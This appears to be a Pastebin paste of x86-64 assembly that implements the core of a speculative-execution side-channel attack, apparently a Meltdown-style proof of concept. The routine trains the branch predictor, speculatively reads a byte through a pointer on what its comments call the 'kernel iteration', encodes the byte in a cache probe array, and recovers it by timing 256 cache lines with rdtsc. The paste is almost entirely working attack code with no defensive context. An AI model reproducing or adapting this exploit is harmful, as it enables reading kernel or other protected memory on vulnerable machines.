Guest User

Untitled

a guest
Jan 3rd, 2018
8,735
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1. .code
  2.  
  3. EXTRN pointers:QWORD
  4. EXTRN speculative:QWORD
  5. EXTRN L2_cache_clear:QWORD
  6. EXTRN times:QWORD
  7.  
  8. _run_attempt PROC PUBLIC
  9. push rdi
  10. push rbx
  11. push r8 ; &speculative[i]
  12. push r9 ; &pointers[i]
  13. push r10 ; count
  14. push r11
  15. push r13 ; times
  16. push r15 ; pointers[i]
  17.  
  18. mov r10, 2048
  19. lea r8, pointers
  20. mov r9, qword ptr [speculative]
  21. lea r13, times
  22.  
  23. _loop:
  24. mov r15, qword ptr [r8] ; next pointer
  25.  
  26. ; cache invalidate:
  27. mov rdi, qword ptr [L2_cache_clear]
  28. mov rcx, ((256 * 4096) / 64)
  29. _cache_invalidate_loop:
  30. inc qword ptr [rdi];
  31. add rdi, 64
  32. dec rcx
  33. jnz _cache_invalidate_loop
  34.  
  35. sub rdi, (256 * 4096)
  36. xor rax, rax
  37. mfence
  38.  
  39. mov rdx, qword ptr [r9] ; next pointer is speculative?
  40. test rdx, rdx ; if RDX is zero, we want to run this iteration speculatively.
  41. jnz _speculative_correction ; we rig the predictor to assume this is never taken
  42.  
  43. ; this is run for real on all the boring iterations, but run speculatively on the kernel iteration
  44.  
  45. mov al, byte ptr [r15] ; load the value at the pointer
  46. shl rax, 6
  47. lea rdi, qword ptr [rdi + rax]
  48. clflush [rdi] ; do a dependent load and store
  49.  
  50. _loop_iter:
  51. cmp r10, (2048-999)
  52. jne _nobreak
  53. ; int 3
  54. _nobreak:
  55. cmp r10, (2048-1000)
  56. je _speculative_correction
  57.  
  58. add r9, 8
  59. add r8, 8
  60. dec r10
  61. jnz _loop
  62.  
  63. _end_of_function:
  64. pop r15
  65. pop r13
  66. pop r11
  67. pop r10
  68. pop r9
  69. pop r8
  70. pop rbx
  71. pop rdi
  72. ret
  73.  
  74.  
  75.  
  76. _speculative_correction:
  77. ; at this point:
  78. ; r13 = &times[0]
  79. ; rdi = &L2_cache_clear[0]
  80. ; everything else = scratch
  81.  
  82. mov r9, 256
  83. xor r8, r8
  84. _speculative_timing_loop:
  85. mfence
  86.  
  87. ; time -> R11
  88. rdtsc
  89. shl rdx, 32
  90. xor rdx, rax
  91. mov r11, rdx
  92.  
  93. ; do the read
  94. mov rax, r8
  95. shl rax, 6
  96. inc qword ptr [rdi + rax]
  97. mfence
  98.  
  99. ; time_start - time_end -> RDX
  100. rdtsc
  101. shl rdx, 32
  102. xor rdx, rax
  103. sub rdx, r11
  104.  
  105. mov qword ptr [r13], rdx
  106.  
  107. ; iterate:
  108. inc r8
  109. add r13, 8
  110. dec r9
  111. jnz _speculative_timing_loop
  112.  
  113.  
  114. jmp _end_of_function
  115.  
  116.  
  117. _run_attempt ENDP
  118.  
  119. END
Advertisement
Add Comment
Please, Sign In to add comment